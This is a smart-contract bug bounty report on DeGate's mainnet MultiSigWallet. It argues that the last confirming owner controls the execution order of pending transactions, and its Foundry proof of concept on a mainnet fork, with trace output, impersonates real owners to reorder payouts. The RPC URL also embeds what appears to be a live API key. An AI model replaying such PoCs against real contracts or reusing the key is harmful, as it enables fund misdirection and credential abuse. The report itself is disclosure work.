Submitted on Nov 21st 2023 at 10:54:26 UTC by @yttriumzz for Boost | DeGate
Report ID: #25933
Report type: Smart Contract
Report severity: Insight
Target: https://etherscan.io/address/0x2028834B2c0A36A918c10937EeA71BE4f932da52#code
Impacts:
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
The execution of MultiSigWallet
is parallel, and as long as the number of confirmations meets the requirements, the transaction can be executed directly. In other words, the last confirmer can control the execution order of all transactions.
This is the 1st, 2nd, and 3rd transaction executed on the mainnet:
- (BlockNo.17334967) https://etherscan.io/tx/0x0e3d9f90b787def831c2739ba247c3be837e6f6a821d477bff4b723dfb7ddfb8
- (BlockNo.17334965) https://etherscan.io/tx/0xbb2ca3acf2df04c311bffc2af961ec5bdc8a43b53ce321c7b2a68fa02f1c0368
- (BlockNo.17334963) https://etherscan.io/tx/0xe10a5e946abd63104803dd158e434751ac5a83c7002d7184cb9c79235c89a5bd
As you can see, their execution order is opposite to the submission order. It all depends on the confirmation order of the last confirmer (0xC715b8501039d3514787dC55BC09f89c293351e9).
The impact depends on the actual transaction content and the current impact is potential. But since MultiSigWallet
is a high-privilege address, I think it is a Medium level.
Difficulty to Exploit: Hard
Each transaction sets a pre-transaction, and the transaction can only be executed after the pre-transaction is completed.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
// main fork url
string constant MAINNET_RPC_URL = "https://eth-mainnet.g.alchemy.com/v2/TrnSBL14bW3BaXavojgbw69L0ZK2lbZ_";
uint256 constant MAINNET_BLOCK_NUMBER = 18614000;
// contract address
address constant ADDRESS_CONTRACT_ExchangeV3 = address(0x9C07A72177c5A05410cA338823e790876E79D73B);
address constant ADDRESS_CONTRACT_MultiSigWallet = address(0x2028834B2c0A36A918c10937EeA71BE4f932da52);
address constant ADDRESS_CONTRACT_WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
// user address
address constant ADDRESS_USER_Attacker = address(0xAACE);
address constant ADDRESS_USER_USER1 = address(0xACC1);
address constant ADDRESS_USER_USER2 = address(0xACC2);
address constant ADDRESS_USER_ExchangeV3Owner = address(0x9b93e47b7F61ad1358Bd47Cd01206708E85AE5eD);
address constant ADDRESS_USER_MultiSigWalletOwner1 = address(0xf5020ADf433645c451A4809eac0d6F680709f11B);
address constant ADDRESS_USER_MultiSigWalletOwner2 = address(0xeD530f3b8675B0a576DaAe64C004676c65368DfD);
address constant ADDRESS_USER_MultiSigWalletOwner3 = address(0xB7093FC2d926ADdE48122B70991fe68374879adf);
address constant ADDRESS_USER_MultiSigWalletOwner4 = address(0xC715b8501039d3514787dC55BC09f89c293351e9);
address constant ADDRESS_USER_MultiSigWalletOwner5 = address(0x6EF4e54E049A5FffB629063D3a9ee38ac27551C8);
address constant ADDRESS_USER_MultiSigWalletOwner6 = address(0x3Cd51A933b0803DDCcDF985A7c71C1C7357FE9Eb);
interface IExchangeV3 {
function registerToken(address tokenAddress) external returns (uint32);
}
interface IMultiSigWallet {
function removeOwner(address owner) external;
function submitTransaction(address destination, uint value, bytes memory data) external returns (uint transactionId);
function confirmTransaction(uint transactionId) external;
function getOwners() external view returns (address[] memory owners);
}
contract YttriumzzDemo is Test {
IExchangeV3 exchangeV3;
IMultiSigWallet multiSigWallet;
function setUp() public {
vm.selectFork(vm.createFork(MAINNET_RPC_URL, MAINNET_BLOCK_NUMBER));
exchangeV3 = IExchangeV3(ADDRESS_CONTRACT_ExchangeV3);
multiSigWallet = IMultiSigWallet(ADDRESS_CONTRACT_MultiSigWallet);
// as gas fee
vm.deal(ADDRESS_USER_Attacker, 1 ether);
// vm.deal(ADDRESS_USER_USER1, 1 ether);
// vm.deal(ADDRESS_USER_USER2, 1 ether);
vm.deal(ADDRESS_USER_ExchangeV3Owner, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner1, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner2, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner3, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner4, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner5, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner6, 1 ether);
}
function testYttriumzz0002() public {
// The POC assumes the following scenario to reveal the impact of execution order:
// Execute1 transfer 0.5ETH to User1
// Execute2 to transfer the remaining wallet to User2
// Expect User1 and User2 to receive 0.5 ETH each
vm.deal(ADDRESS_CONTRACT_MultiSigWallet, 1 ether);
// Execute1
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner1);
uint transaction1Id = multiSigWallet.submitTransaction(ADDRESS_USER_USER1, 0.5 ether, "");
vm.stopPrank();
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner2);
multiSigWallet.confirmTransaction(transaction1Id);
vm.stopPrank();
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner3);
multiSigWallet.confirmTransaction(transaction1Id);
vm.stopPrank();
// Execute2
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner1);
uint transaction2Id = multiSigWallet.submitTransaction(ADDRESS_USER_USER2, address(multiSigWallet).balance, "");
vm.stopPrank();
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner2);
multiSigWallet.confirmTransaction(transaction2Id);
vm.stopPrank();
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner3);
multiSigWallet.confirmTransaction(transaction2Id);
vm.stopPrank();
// The Owner4 control the execution order
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner4);
multiSigWallet.confirmTransaction(transaction2Id);
multiSigWallet.confirmTransaction(transaction1Id);
vm.stopPrank();
// Result
console.log("User1 balace: %s", ADDRESS_USER_USER1.balance);
console.log("User2 balace: %s", ADDRESS_USER_USER2.balance);
}
}
Output:
$ forge test --match-test testYttriumzz0002 -vvvv
[⠰] Compiling...
No files changed, compilation skipped
Running 1 test for test/YttriumzzDemo.sol:YttriumzzDemo
[PASS] testYttriumzz0002() (gas: 534694)
Logs:
User1 balace: 0
User2 balace: 1000000000000000000
Traces:
[534694] YttriumzzDemo::testYttriumzz0002()
├─ [0] VM::deal(0x2028834B2c0A36A918c10937EeA71BE4f932da52, 1000000000000000000 [1e18])
│ └─ ← ()
├─ [0] VM::startPrank(0xf5020ADf433645c451A4809eac0d6F680709f11B)
│ └─ ← ()
├─ [135001] 0x2028834B2c0A36A918c10937EeA71BE4f932da52::submitTransaction(0x000000000000000000000000000000000000Acc1, 500000000000000000 [5e17], 0x)
│ ├─ emit Submission()
│ ├─ emit Confirmation()
│ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000005
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(0xeD530f3b8675B0a576DaAe64C004676c65368DfD)
│ └─ ← ()
├─ [30977] 0x2028834B2c0A36A918c10937EeA71BE4f932da52::confirmTransaction(5)
│ ├─ emit Confirmation()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(0xB7093FC2d926ADdE48122B70991fe68374879adf)
│ └─ ← ()
├─ [30991] 0x2028834B2c0A36A918c10937EeA71BE4f932da52::confirmTransaction(5)
│ ├─ emit Confirmation()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(0xf5020ADf433645c451A4809eac0d6F680709f11B)
│ └─ ← ()
├─ [112201] 0x2028834B2c0A36A918c10937EeA71BE4f932da52::submitTransaction(0x000000000000000000000000000000000000aCc2, 1000000000000000000 [1e18], 0x)
│ ├─ emit Submission()
│ ├─ emit Confirmation()
│ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000006
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(0xeD530f3b8675B0a576DaAe64C004676c65368DfD)
│ └─ ← ()
├─ [28977] 0x2028834B2c0A36A918c10937EeA71BE4f932da52::confirmTransaction(6)
│ ├─ emit Confirmation()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(0xB7093FC2d926ADdE48122B70991fe68374879adf)
│ └─ ← ()
├─ [28991] 0x2028834B2c0A36A918c10937EeA71BE4f932da52::confirmTransaction(6)
│ ├─ emit Confirmation()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(0xC715b8501039d3514787dC55BC09f89c293351e9)
│ └─ ← ()
├─ [85310] 0x2028834B2c0A36A918c10937EeA71BE4f932da52::confirmTransaction(6)
│ ├─ emit Confirmation()
│ ├─ [0] 0x000000000000000000000000000000000000aCc2::fallback()
│ │ └─ ← ()
│ ├─ emit Execution()
│ └─ ← ()
├─ [66820] 0x2028834B2c0A36A918c10937EeA71BE4f932da52::confirmTransaction(5)
│ ├─ emit Confirmation()
│ ├─ [0] 0x000000000000000000000000000000000000Acc1::fallback()
│ │ └─ ← "EvmError: OutOfFund"
│ ├─ emit ExecutionFailure()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001055736572312062616c6163653a20257300000000000000000000000000000000) [staticcall]
│ └─ ← ()
├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000001055736572322062616c6163653a20257300000000000000000000000000000000) [staticcall]
│ └─ ← ()
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.13s
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)